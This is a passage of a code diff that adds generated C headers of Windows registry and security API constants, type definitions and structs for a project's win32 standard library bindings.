REGSTR_VAL_REMOVEROMOKAYFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_CURCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_FRIENDLYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENTCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_MAP: non-integer constant +// SKIPPED const REGSTR_VAL_ID: non-integer constant +// SKIPPED const REGSTR_VAL_DOCKED: non-integer constant +// SKIPPED const REGSTR_VAL_CHECKSUM: non-integer constant +// SKIPPED const REGSTR_VAL_HWDETECT: non-integer constant +// SKIPPED const REGSTR_VAL_INHIBITRESULTS: non-integer constant +// SKIPPED const REGSTR_VAL_PROFILEFLAGS: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIA: non-integer constant +// SKIPPED const REGSTR_KEY_PCUNKNOWN: non-integer constant +// SKIPPED const REGSTR_VAL_PCSSDRIVER: non-integer constant +// SKIPPED const REGSTR_KEY_PCMTD: non-integer constant +// SKIPPED const REGSTR_VAL_PCMTDRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_HARDWAREID: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLER: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLER_32: non-integer constant +// SKIPPED const REGSTR_VAL_INSICON: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMPROPPAGES: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMPROPPAGES_32: non-integer constant +// SKIPPED const REGSTR_VAL_BASICPROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_BASICPROPERTIES_32: non-integer constant +// SKIPPED const REGSTR_VAL_COINSTALLERS_32: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATEPROBLEM: non-integer constant +// SKIPPED const REGSTR_KEY_CURRENT: non-integer constant +// SKIPPED const REGSTR_KEY_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_MODES: non-integer constant +// SKIPPED const REGSTR_VAL_MODE: non-integer constant +// SKIPPED const REGSTR_VAL_BPP: non-integer constant +// SKIPPED const REGSTR_VAL_HRES: non-integer constant +// SKIPPED const REGSTR_VAL_VRES: non-integer constant +// SKIPPED const REGSTR_VAL_FONTSIZE: non-integer constant +// SKIPPED const REGSTR_VAL_DRV: non-integer constant +// SKIPPED const REGSTR_VAL_GRB: non-integer constant +// SKIPPED const REGSTR_VAL_VDD: non-integer constant +// SKIPPED const REGSTR_VAL_VER: non-integer constant +// SKIPPED const REGSTR_VAL_MAXRES: non-integer constant +// SKIPPED const REGSTR_VAL_DPMS: non-integer constant +// SKIPPED const REGSTR_VAL_RESUMERESET: non-integer constant +// SKIPPED const REGSTR_KEY_SYSTEM: non-integer constant +// SKIPPED const REGSTR_KEY_USER: non-integer constant +// SKIPPED const REGSTR_VAL_DPI: non-integer constant +// SKIPPED const REGSTR_VAL_PCICOPTIONS: non-integer constant +#define PCIC_DEFAULT_IRQMASK 0x4eb8 +#define PCIC_DEFAULT_NUMSOCKETS 0x0 +// SKIPPED const REGSTR_VAL_PCICIRQMAP: non-integer constant +// SKIPPED const REGSTR_PATH_APPEARANCE: non-integer constant +// SKIPPED const REGSTR_PATH_LOOKSCHEMES: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOMCOLORS: non-integer constant +// SKIPPED const REGSTR_PATH_SCREENSAVE: non-integer constant +// SKIPPED const REGSTR_VALUE_USESCRPASSWORD: non-integer constant +// SKIPPED const REGSTR_VALUE_SCRPASSWORD: non-integer constant +// SKIPPED const REGSTR_VALUE_LOWPOWERTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VALUE_POWEROFFTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VALUE_LOWPOWERACTIVE: non-integer constant +// SKIPPED const REGSTR_VALUE_POWEROFFACTIVE: non-integer constant +// SKIPPED const REGSTR_PATH_WINDOWSAPPLETS: non-integer constant +// SKIPPED const REGSTR_PATH_SYSTRAY: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYSVCS: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYBATFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYPCCARDFLAGS: non-integer constant +// SKIPPED const REGSTR_PATH_NETWORK_USERSETTINGS: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK_PERSISTENT: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK_RECENT: non-integer constant +// SKIPPED const REGSTR_VAL_REMOTE_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_USER_NAME: non-integer constant +// SKIPPED const REGSTR_VAL_PROVIDER_NAME: non-integer constant +// SKIPPED const REGSTR_VAL_CONNECTION_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_UPGRADE: non-integer constant +// SKIPPED const REGSTR_KEY_LOGON: non-integer constant +// SKIPPED const REGSTR_VAL_MUSTBEVALIDATED: non-integer constant +// SKIPPED const REGSTR_VAL_RUNLOGINSCRIPT: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORKPROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_AUTHENT_AGENT: non-integer constant +// SKIPPED const REGSTR_VAL_PREFREDIR: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOSTART: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOLOGON: non-integer constant +// SKIPPED const REGSTR_VAL_NETCARD: non-integer constant +// SKIPPED const REGSTR_VAL_TRANSPORT: non-integer constant +// SKIPPED const REGSTR_VAL_DYNAMIC: non-integer constant +// SKIPPED const REGSTR_VAL_TRANSITION: non-integer constant +// SKIPPED const REGSTR_VAL_STATICDRIVE: non-integer constant +// SKIPPED const REGSTR_VAL_LOADHI: non-integer constant +// SKIPPED const REGSTR_VAL_LOADRMDRIVERS: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPN: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPNPATH: non-integer constant +// SKIPPED const REGSTR_VAL_WRKGRP_FORCEMAPPING: non-integer constant +// SKIPPED const REGSTR_VAL_WRKGRP_REQUIRED: non-integer constant +// SKIPPED const REGSTR_PATH_CURRENT_CONTROL_SET: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_USER: non-integer constant +// SKIPPED const REGSTR_PATH_PWDPROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_DESC: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEPWD: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEPWDHWND: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_GETPWDSTATUS: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_ISNP: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEORDER: non-integer constant +// SKIPPED const REGSTR_PATH_POLICIES: non-integer constant +// SKIPPED const REGSTR_PATH_UPDATE: non-integer constant +// SKIPPED const REGSTR_VALUE_ENABLE: non-integer constant +// SKIPPED const REGSTR_VALUE_VERBOSE: non-integer constant +// SKIPPED const REGSTR_VALUE_NETPATH: non-integer constant +// SKIPPED const REGSTR_VALUE_DEFAULTLOC: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK: non-integer constant +// SKIPPED const REGSTR_KEY_PRINTERS: non-integer constant +// SKIPPED const REGSTR_KEY_WINOLDAPP: non-integer constant +// SKIPPED const REGSTR_KEY_EXPLORER: non-integer constant +// SKIPPED const REGSTR_VAL_NOFILESHARING: non-integer constant +// SKIPPED const REGSTR_VAL_NOPRINTSHARING: non-integer constant +// SKIPPED const REGSTR_VAL_NOFILESHARINGCTRL: non-integer constant +// SKIPPED const REGSTR_VAL_NOPRINTSHARINGCTRL: non-integer constant +// SKIPPED const REGSTR_VAL_HIDESHAREPWDS: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLEPWDCACHING: non-integer constant +// SKIPPED const REGSTR_VAL_ALPHANUMPWDS: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_DISABLE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOCONFIGPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOIDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOSECURITYPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOVIRTMEMPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NODEVMGRPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOCONFIGPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOFILESYSPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NODISPCPL: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOBACKGROUNDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOSCRSAVPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOAPPEARANCEPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOSETTINGSPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOSECCPL: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOPWDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOADMINPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOPROFILEPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_HIDETABS: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_NODELETE: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_NOADD: non-integer constant +// SKIPPED const REGSTR_VAL_WINOLDAPP_DISABLED: non-integer constant +// SKIPPED const REGSTR_VAL_WINOLDAPP_NOREALMODE: non-integer constant +// SKIPPED const REGSTR_VAL_NOENTIRENETWORK: non-integer constant +// SKIPPED const REGSTR_VAL_NOWORKGROUPCONTENTS: non-integer constant +// SKIPPED const REGSTR_VAL_UNDOCK_WITHOUT_LOGON: non-integer constant +// SKIPPED const REGSTR_VAL_MINPWDLEN: non-integer constant +// SKIPPED const REGSTR_VAL_PWDEXPIRATION: non-integer constant +// SKIPPED const REGSTR_VAL_WIN31PROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLEREGTOOLS: non-integer constant +// SKIPPED const REGSTR_PATH_WINLOGON: non-integer constant +// SKIPPED const REGSTR_VAL_LEGALNOTICECAPTION: non-integer constant +// SKIPPED const REGSTR_VAL_LEGALNOTICETEXT: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVE_SPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_RESTRICTRUN: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_COMPUTERS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERGROUPS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERGROUPDATA: non-integer constant +// SKIPPED const REGSTR_PATH_TIMEZONE: non-integer constant +// SKIPPED const REGSTR_VAL_TZBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZACTBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTFLAG: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDSTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTSTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTNAME: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDNAME: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOCHANGESTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOCHANGEEND: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOAUTOTIME: non-integer constant +// SKIPPED const REGSTR_PATH_FLOATINGPOINTPROCESSOR: non-integer constant +// SKIPPED const REGSTR_PATH_FLOATINGPOINTPROCESSOR0: non-integer constant +// SKIPPED const REGSTR_PATH_COMPUTRNAME: non-integer constant +// SKIPPED const REGSTR_VAL_COMPUTRNAME: non-integer constant +// SKIPPED const REGSTR_PATH_SHUTDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEREBOOT: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPPROGRAMRAN: non-integer constant +// SKIPPED const REGSTR_VAL_DOES_POLLING: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWNDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWN16DLLS: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKVERDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_WARNVERDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_HACKINIFILE: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKBADAPPS: non-integer constant +// SKIPPED const REGSTR_PATH_APPPATCH: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKBADAPPS400: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWNVXDS: non-integer constant +// SKIPPED const REGSTR_VAL_UNINSTALLER_DISPLAYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_UNINSTALLER_COMMANDLINE: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_DISPLAYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_STRING: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_DEVICEINSTANCEIDS: non-integer constant +// SKIPPED const REGSTR_PATH_DESKTOP: non-integer constant +// SKIPPED const REGSTR_PATH_MOUSE: non-integer constant +// SKIPPED const REGSTR_PATH_KEYBOARD: non-integer constant +// SKIPPED const REGSTR_PATH_COLORS: non-integer constant +// SKIPPED const REGSTR_PATH_SOUND: non-integer constant +// SKIPPED const REGSTR_PATH_METRICS: non-integer constant +// SKIPPED const REGSTR_PATH_ICONS: non-integer constant +// SKIPPED const REGSTR_PATH_CURSORS: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISK: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISKSET: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISKUDRVS: non-integer constant +// SKIPPED const REGSTR_PATH_FAULT: non-integer constant +// SKIPPED const REGSTR_VAL_FAULT_LOGFILE: non-integer constant +// SKIPPED const REGSTR_PATH_AEDEBUG: non-integer constant +// SKIPPED const REGSTR_VAL_AEDEBUG_DEBUGGER: non-integer constant +// SKIPPED const REGSTR_VAL_AEDEBUG_AUTO: non-integer constant +// SKIPPED const REGSTR_PATH_GRPCONV: non-integer constant +// SKIPPED const REGSTR_VAL_REGITEMDELETEMESSAGE: non-integer constant +// SKIPPED const REGSTR_PATH_LASTCHECK: non-integer constant +// SKIPPED const REGSTR_PATH_LASTOPTIMIZE: non-integer constant +// SKIPPED const REGSTR_PATH_LASTBACKUP: non-integer constant +// SKIPPED const REGSTR_PATH_CHKLASTCHECK: non-integer constant +// SKIPPED const REGSTR_PATH_CHKLASTSURFAN: non-integer constant +#define DTRESULTOK 0x0 +#define DTRESULTFIX 0x1 +#define DTRESULTPROB 0x2 +#define DTRESULTPART 0x3 +// SKIPPED const REGSTR_KEY_SHARES: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_REMARK: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_RW_PASS: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_RO_PASS: non-integer constant +// SKIPPED const REGSTR_PATH_PRINT: non-integer constant +// SKIPPED const REGSTR_PATH_PRINTERS: non-integer constant +// SKIPPED const REGSTR_PATH_PROVIDERS: non-integer constant +// SKIPPED const REGSTR_PATH_MONITORS: non-integer constant +// SKIPPED const REGSTR_PATH_ENVIRONMENTS: non-integer constant +// SKIPPED const REGSTR_VAL_START_ON_BOOT: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_MASK: non-integer constant +// SKIPPED const REGSTR_VAL_DOS_SPOOL_MASK: non-integer constant +// SKIPPED const REGSTR_KEY_CURRENT_ENV: non-integer constant +// SKIPPED const REGSTR_KEY_DRIVERS: non-integer constant +// SKIPPED const REGSTR_KEY_PRINT_PROC: non-integer constant +// SKIPPED const REGSTR_PATH_EVENTLABELS: non-integer constant +// SKIPPED const REGSTR_PATH_SCHEMES: non-integer constant +// SKIPPED const REGSTR_PATH_MULTIMEDIA_AUDIO: non-integer constant +// SKIPPED const REGSTR_KEY_JOYCURR: non-integer constant +// SKIPPED const REGSTR_KEY_JOYSETTINGS: non-integer constant +// SKIPPED const REGSTR_VAL_JOYUSERVALUES: non-integer constant +// SKIPPED const REGSTR_VAL_JOYCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNOEMNAME: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNOEMCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMNAME: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMDATA: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMXYLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMZLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMRLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMPOVLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMULABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMVLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTMOVEDESC: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTBUTTONDESC: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTMOVECAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTBUTTONCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTWINCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALWINCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL1: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL2: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL3: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL4: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL5: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL6: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL7: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL8: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL9: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL10: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL11: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL12: non-integer constant +// SKIPPED const REGSTR_VAL_AUDIO_BITMAP: non-integer constant +// SKIPPED const REGSTR_VAL_AUDIO_ICON: non-integer constant +// SKIPPED const REGSTR_PATH_DEVICEINSTALLER: non-integer constant +// SKIPPED const REGSTR_PATH_DIFX: non-integer constant +// SKIPPED const REGSTR_VAL_SEARCHOPTIONS: non-integer constant +// SKIPPED const REGSTR_PATH_BIOSINFO: non-integer constant +// SKIPPED const REGSTR_PATH_PCIIR: non-integer constant +// SKIPPED const REGSTR_VAL_OPTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_STAT: non-integer constant +// SKIPPED const REGSTR_VAL_TABLE_STAT: non-integer constant +// SKIPPED const REGSTR_VAL_MINIPORT_STAT: non-integer constant +#define PIR_OPTION_ENABLED 0x1 +#define PIR_OPTION_REGISTRY 0x2 +#define PIR_OPTION_MSSPEC 0x4 +#define PIR_OPTION_REALMODE 0x8 +#define PIR_OPTION_DEFAULT 0xf +#define PIR_STATUS_ERROR 0x0 +#define PIR_STATUS_ENABLED 0x1 +#define PIR_STATUS_DISABLED 0x2 +#define PIR_STATUS_MAX 0x3 +#define PIR_STATUS_TABLE_REGISTRY 0x0 +#define PIR_STATUS_TABLE_MSSPEC 0x1 +#define PIR_STATUS_TABLE_REALMODE 0x2 +#define PIR_STATUS_TABLE_NONE 0x3 +#define PIR_STATUS_TABLE_ERROR 0x4 +#define PIR_STATUS_TABLE_BAD 0x5 +#define PIR_STATUS_TABLE_SUCCESS 0x6 +#define PIR_STATUS_TABLE_MAX 0x7 +#define PIR_STATUS_MINIPORT_NORMAL 0x0 +#define PIR_STATUS_MINIPORT_COMPATIBLE 0x1 +#define PIR_STATUS_MINIPORT_OVERRIDE 0x2 +#define PIR_STATUS_MINIPORT_NONE 0x3 +#define PIR_STATUS_MINIPORT_ERROR 0x4 +#define PIR_STATUS_MINIPORT_NOKEY 0x5 +#define PIR_STATUS_MINIPORT_SUCCESS 0x6 +#define PIR_STATUS_MINIPORT_INVALID 0x7 +#define PIR_STATUS_MINIPORT_MAX 0x8 +// SKIPPED const REGSTR_PATH_LASTGOOD: non-integer constant +// SKIPPED const REGSTR_PATH_LASTGOODTMP: non-integer constant +#define LASTGOOD_OPERATION 0xff +#define LASTGOOD_OPERATION_NOPOSTPROC 0x0 +#define LASTGOOD_OPERATION_DELETE 0x1 +#define REG_FORCE_RESTORE 8 +#define REG_WHOLE_HIVE_VOLATILE 1 +#define REG_NONE 0x0 +#define REG_SZ 0x1 +#define REG_EXPAND_SZ 0x2 +#define REG_BINARY 0x3 +#define REG_DWORD 0x4 +#define REG_DWORD_LITTLE_ENDIAN 0x4 +#define REG_DWORD_BIG_ENDIAN 0x5 +#define REG_LINK 0x6 +#define REG_MULTI_SZ 0x7 +#define REG_RESOURCE_LIST 0x8 +#define REG_FULL_RESOURCE_DESCRIPTOR 0x9 +#define REG_RESOURCE_REQUIREMENTS_LIST 0xa +#define REG_QWORD 0xb +#define REG_QWORD_LITTLE_ENDIAN 0xb +#define REG_CREATED_NEW_KEY 0x1 +#define REG_OPENED_EXISTING_KEY 0x2 +#define REG_NOTIFY_CHANGE_NAME 0x1 +#define REG_NOTIFY_CHANGE_ATTRIBUTES 0x2 +#define REG_NOTIFY_CHANGE_LAST_SET 0x4 +#define REG_NOTIFY_CHANGE_SECURITY 0x8 +#define REG_NOTIFY_THREAD_AGNOSTIC 0x10000000 +#define RRF_RT_DWORD 0x18 +#define RRF_RT_QWORD 0x48 +#define RRF_RT_REG_NONE 0x1 +#define RRF_RT_REG_SZ 0x2 +#define RRF_RT_REG_EXPAND_SZ 0x4 +#define RRF_RT_REG_BINARY 0x8 +#define RRF_RT_REG_DWORD 0x10 +#define RRF_RT_REG_MULTI_SZ 0x20 +#define RRF_RT_REG_QWORD 0x40 +#define RRF_RT_ANY 0xffff +#define RRF_SUBKEY_WOW6464KEY 0x10000 +#define RRF_SUBKEY_WOW6432KEY 0x20000 +#define RRF_WOW64_MASK 0x30000 +#define RRF_NOEXPAND 0x10000000 +#define RRF_ZEROONFAILURE 0x20000000 +#define REG_STANDARD_FORMAT 0x1 +#define REG_LATEST_FORMAT 0x2 +#define REG_NO_COMPRESSION 0x4 +#define KEY_QUERY_VALUE 0x1 +#define KEY_SET_VALUE 0x2 +#define KEY_CREATE_SUB_KEY 0x4 +#define KEY_ENUMERATE_SUB_KEYS 0x8 +#define KEY_NOTIFY 0x10 +#define KEY_CREATE_LINK 0x20 +#define KEY_WOW64_32KEY 0x200 +#define KEY_WOW64_64KEY 0x100 +#define KEY_WOW64_RES 0x300 +#define KEY_READ 0x20019 +#define KEY_WRITE 0x20006 +#define KEY_EXECUTE 0x20019 +#define KEY_ALL_ACCESS 0xf003f +#define REG_OPTION_RESERVED 0x0 +#define REG_OPTION_NON_VOLATILE 0x0 +#define REG_OPTION_VOLATILE 0x1 +#define REG_OPTION_CREATE_LINK 0x2 +#define REG_OPTION_BACKUP_RESTORE 0x4 +#define REG_OPTION_OPEN_LINK 0x8 +#define REG_OPTION_DONT_VIRTUALIZE 0x10 + +typedef struct _VALENTA { + void* ve_valuename; + unsigned int ve_valuelen; + unsigned long long ve_valueptr; + void* ve_type; +} VALENTA; + +typedef struct _val_context { + int valuelen; + void* value_context; + void* val_buff_ptr; +} val_context; + +typedef struct _PVALUEW { + void* pv_valuename; + int pv_valuelen; + void* pv_value_context; + unsigned int pv_type; +} PVALUEW; + +typedef struct _VALENTW { + void* ve_valuename; + unsigned int ve_valuelen; + unsigned long long ve_valueptr; + void* ve_type; +} VALENTW; + +typedef struct _REG_PROVIDER { + void* pi_R0_1val; + void* pi_R0_allvals; + void* pi_R3_1val; + void* pi_R3_allvals; + unsigned int pi_flags; + void* pi_key_context; +} REG_PROVIDER; + +typedef struct _HKEY { + void* Value; +} HKEY; + +typedef struct _PVALUEA { + void* pv_valuename; + int pv_valuelen; + void* pv_value_context; + unsigned int pv_type; +} PVALUEA; + +typedef struct _DSKTLSYSTEMTIME { + unsigned short wYear; + unsigned short wMonth; + unsigned short wDayOfWeek; + unsigned short wDay; + unsigned short wHour; + unsigned short wMinute; + unsigned short wSecond; + unsigned short wMilliseconds; + unsigned short wResult; +} DSKTLSYSTEMTIME; + diff --git a/stdlib/win32/security.h b/stdlib/win32/security.h new file mode 100644 index 0000000..1c5fc0f --- /dev/null +++ b/stdlib/win32/security.h @@ -0,0 +1,890 @@ +// Generated by entc-win32gen from `Windows.Win32.Security`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define SECURITY_DYNAMIC_TRACKING 0x1 +#define SECURITY_STATIC_TRACKING 0x0 +#define SECURITY_MAX_SID_SIZE 0x44 +// SKIPPED const SE_CREATE_TOKEN_NAME: non-integer constant +// SKIPPED const SE_ASSIGNPRIMARYTOKEN_NAME: non-integer constant +// SKIPPED const SE_LOCK_MEMORY_NAME: non-integer constant +// SKIPPED const SE_INCREASE_QUOTA_NAME: non-integer constant +// SKIPPED const SE_UNSOLICITED_INPUT_NAME: non-integer constant +// SKIPPED const SE_MACHINE_ACCOUNT_NAME: non-integer constant +// SKIPPED const SE_TCB_NAME: non-integer constant +// SKIPPED const SE_SECURITY_NAME: non-integer constant +// SKIPPED const SE_TAKE_OWNERSHIP_NAME: non-integer constant +// SKIPPED const SE_LOAD_DRIVER_NAME: non-integer constant +// SKIPPED const SE_SYSTEM_PROFILE_NAME: non-integer constant +// SKIPPED const SE_SYSTEMTIME_NAME: non-integer constant +// SKIPPED const SE_PROF_SINGLE_PROCESS_NAME: non-integer constant +// SKIPPED const SE_INC_BASE_PRIORITY_NAME: non-integer constant +// SKIPPED const SE_CREATE_PAGEFILE_NAME: non-integer constant +// SKIPPED const SE_CREATE_PERMANENT_NAME: non-integer constant +// SKIPPED const SE_BACKUP_NAME: non-integer constant +// SKIPPED const SE_RESTORE_NAME: non-integer constant +// SKIPPED const SE_SHUTDOWN_NAME: non-integer constant +// SKIPPED const SE_DEBUG_NAME: non-integer constant +// SKIPPED const SE_AUDIT_NAME: non-integer constant +// SKIPPED const SE_SYSTEM_ENVIRONMENT_NAME: non-integer constant +// SKIPPED const SE_CHANGE_NOTIFY_NAME: non-integer constant +// SKIPPED const SE_REMOTE_SHUTDOWN_NAME: non-integer constant +// SKIPPED const SE_UNDOCK_NAME: non-integer constant +// SKIPPED const SE_SYNC_AGENT_NAME: non-integer constant +// SKIPPED const SE_ENABLE_DELEGATION_NAME: non-integer constant +// SKIPPED const SE_MANAGE_VOLUME_NAME: non-integer constant +// SKIPPED const SE_IMPERSONATE_NAME: non-integer constant +// SKIPPED const SE_CREATE_GLOBAL_NAME: non-integer constant +// SKIPPED const SE_TRUSTED_CREDMAN_ACCESS_NAME: non-integer constant +// SKIPPED const SE_RELABEL_NAME: non-integer constant +// SKIPPED const SE_INC_WORKING_SET_NAME: non-integer constant +// SKIPPED const SE_TIME_ZONE_NAME: non-integer constant +// SKIPPED const SE_CREATE_SYMBOLIC_LINK_NAME: non-integer constant +// SKIPPED const SE_DELEGATE_SESSION_USER_IMPERSONATE_NAME: non-integer constant +// SKIPPED const wszCERTENROLLSHAREPATH: non-integer constant +#define cwcHRESULTSTRING 0x28 +// SKIPPED const szLBRACE: non-integer constant +// SKIPPED const szRBRACE: non-integer constant +// SKIPPED const wszLBRACE: non-integer constant +// SKIPPED const wszRBRACE: non-integer constant +// SKIPPED const szLPAREN: non-integer constant +// SKIPPED const szRPAREN: non-integer constant +// SKIPPED const wszLPAREN: non-integer constant +// SKIPPED const wszRPAREN: non-integer constant +#define CVT_SECONDS 0x1 +#define cwcFILENAMESUFFIXMAX 0x14 +// SKIPPED const wszFCSAPARM_SERVERDNSNAME: non-integer constant +// SKIPPED const wszFCSAPARM_SERVERSHORTNAME: non-integer constant +// SKIPPED const wszFCSAPARM_SANITIZEDCANAME: non-integer constant +// SKIPPED const wszFCSAPARM_CERTFILENAMESUFFIX: non-integer constant +// SKIPPED const wszFCSAPARM_DOMAINDN: non-integer constant +// SKIPPED const wszFCSAPARM_CONFIGDN: non-integer constant +// SKIPPED const 